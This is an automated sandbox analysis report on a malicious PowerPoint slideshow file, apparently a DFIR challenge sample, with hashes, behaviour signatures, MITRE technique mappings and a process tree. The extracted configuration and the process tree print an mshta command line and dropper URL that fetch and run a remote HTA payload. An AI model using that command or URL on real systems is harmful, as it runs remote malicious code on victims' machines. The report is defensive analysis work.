a1e8da85d99cfb4c8569ea850691cf6c565b6083114198e17369f3013e4016b5

Analysis

max time kernel
134s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 16:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RETO-MALWAREDFIR.pps
Size 133KB
Sample240503-vea3labd4w
SHA256 a1e8da85d99cfb4c8569ea850691cf6c565b6083114198e17369f3013e4016b5
MD5 00d7a6d6029559fa2fb656d906f7c5e4
SHA1 42eb2e085ba018868c8a4018341516d843154b30
SHA512 dff64ad6a392d49adf39c6c3154888651068a7e58ed70e7cd40fea6eed0ad31a41295cd197e60c6fb4b18ebe89fd707bb373edf4235f9f4c6fbdeebd2766d856
SSDEEP 1536:6slfQ+C4xIytrmsKemd8JkpuJFeOMn63nMq5Z+av1Dc3N:6sV7rmsKemuJkpuJtE6cq5BpmN
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://12384928198391823%[email protected]/hdkjashdkasbctdgjsa

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1608	1664	mSHtA.exe	84
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3508	1664	ping.exe	84

Blocklisted process makes network request 5 IoCs

flow	pid	Process
41	1608	mSHtA.exe
43	1608	mSHtA.exe
45	1608	mSHtA.exe
48	1608	mSHtA.exe
49	1608	mSHtA.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	winword.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	winword.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	winword.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3508	ping.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
1664	POWERPNT.EXE
228	winword.exe
228	winword.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1664	POWERPNT.EXE
228	winword.exe
228	winword.exe
228	winword.exe
1664	POWERPNT.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 1608	1664	POWERPNT.EXE	97
PID 1664 wrote to memory of 1608	1664	POWERPNT.EXE	97
PID 1664 wrote to memory of 3508	1664	POWERPNT.EXE	98
PID 1664 wrote to memory of 3508	1664	POWERPNT.EXE	98
PID 1664 wrote to memory of 228	1664	POWERPNT.EXE	99
PID 1664 wrote to memory of 228	1664	POWERPNT.EXE	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\RETO-MALWAREDFIR.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\SYSTEM32\mSHtA.exe
  mSHtA http://12384928198391823%[email protected]/hdkjashdkasbctdgjsa
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  PID:1608
- C:\Windows\SYSTEM32\ping.exe
  ping
  2⤵
  - Process spawned unexpected child process
  - Runs ping.exe
  PID:3508
- C:\Program Files\Microsoft Office\Root\Office16\winword.exe
  winword
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Size 471B
SHA256 521c23da9919eb446c563f602744242a920b02ffcb3fa2f51b90ff389e565eb4
MD5 601546482f46c71cdab6b331340e0e55
SHA1 df582e6cb8d3de63ee31212b85bfc14b28bf1998
SHA512 55a268e3aa117270d74f6670ca87abc5c55c72b92913097b60b21509195f5a8fead2789d659bfe1fe336c777aba2cd4758e75860a61c751315143052948ab077
MD5 SHA1 SHA512

Submit Download

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Size 412B
SHA256 b45286454a9c63cbc8f3b4bdfdf20158cfdbd353c3c10d3a0bf3d0271667517e
MD5 f1dc10bc578d9407a869eb6f55a73468
SHA1 881e64a2f75ce247acec56f5510294158a6fc5e8
SHA512 e1d83c0df1c17b9806e82c282c59319ef5087072bf51653fd8789c25cf75e10874aab180d7a347bff18b7e48b0051f2a273a00b4c110de50b66865186c4cf26e
MD5 SHA1 SHA512

Submit Download

21629968-AFFA-4B6A-A38D-43D62FB92384

Path C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\21629968-AFFA-4B6A-A38D-43D62FB92384
Size 160KB
SHA256 f8a00747f76840af816739d198b62b4fba77f78ebcf079f1c257a81c51ed24a0
MD5 20144c4f11bd75d04e294eacc8a49b02
SHA1 6dde65a66f8d48131cb7da89b9257f9c3dcc1854
SHA512 95f577709a8cc4d78c0f006212a803770e3a5b22c8760961d17ccc2f24063b8ecb5ba9268110aadf7241245418ba5f9b33e0cebaa6a742e07fb170368674e6f9
SSDEEP 1536:z+C7FPgOdB3U9guw/JQ9DQA+zRQik4F77nXmvYd8XRTEwreOR6Y:bBQ9DQA+z8XeMT
MD5 SHA1 SHA512 SSDEEP

Submit Download

089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres
Size 2KB
SHA256 546d8af66a604723bbfcf5aaeab45ca3679b5841eb99cbef3031f4af27c2f269
MD5 68a3dd99501c39d0620cc100be69c61f
SHA1 680522d73de942c14c93ea38a607e1eee55c4865
SHA512 8c9f8bc3514bbca034b45ea816b90914f0e2d7a31ac00183371a0c8c9180b9e203544932bb4b00f93db25b7d7f32020180adbed6da0ee585c8547d827d50e82b
MD5 SHA1 SHA512

Submit Download

f3df91c436730d7a37c58d5f25d9bf4a56fa3a34.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\f3df91c436730d7a37c58d5f25d9bf4a56fa3a34.tbres
Size 4KB
SHA256 c11b937cc4e017a3eb258a380bd25fc4c998a173adb452386c8cea8a219a0e15
MD5 499d122833360df3a83fe406e314288e
SHA1 db49ebf810b1a9acb0a03dd7aad841abc18f9a78
SHA512 cbbd0e029fe24b5be661ca22e01f178757a93f8a3f83b4cf39f22c1d6680c3d35ac5073e7ab7b0af197bcf2714df551082e9d41b789dbf356cb620363a08b95e
SSDEEP 96:iYRStQHU+5v9rh32qXsmFEOIKj2ERuR1IYiSBjnYg:iX4U2v9rh3bXswbRjh21IYiS1X
MD5 SHA1 SHA512 SSDEEP

Submit Download

sist02.xsl

Path C:\Users\Admin\AppData\Local\Temp\TCD9B84.tmp\sist02.xsl
Size 245KB
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1664-21-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-5-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-8-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-9-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-10-0x00007FFA72730000-0x00007FFA72740000-memory.dmp

Download

memory/1664-11-0x00007FFA72730000-0x00007FFA72740000-memory.dmp

Download

memory/1664-19-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-20-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-1-0x00007FFAB496D000-0x00007FFAB496E000-memory.dmp

Download

memory/1664-7-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-4-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-6-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-70-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-2-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-3-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-75-0x00007FFAB496D000-0x00007FFAB496E000-memory.dmp

Download

memory/1664-76-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-81-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-84-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-83-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-82-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

memory/1664-85-0x00007FFAB48D0000-0x00007FFAB4AC5000-memory.dmp

Download

memory/1664-0-0x00007FFA74950000-0x00007FFA74960000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads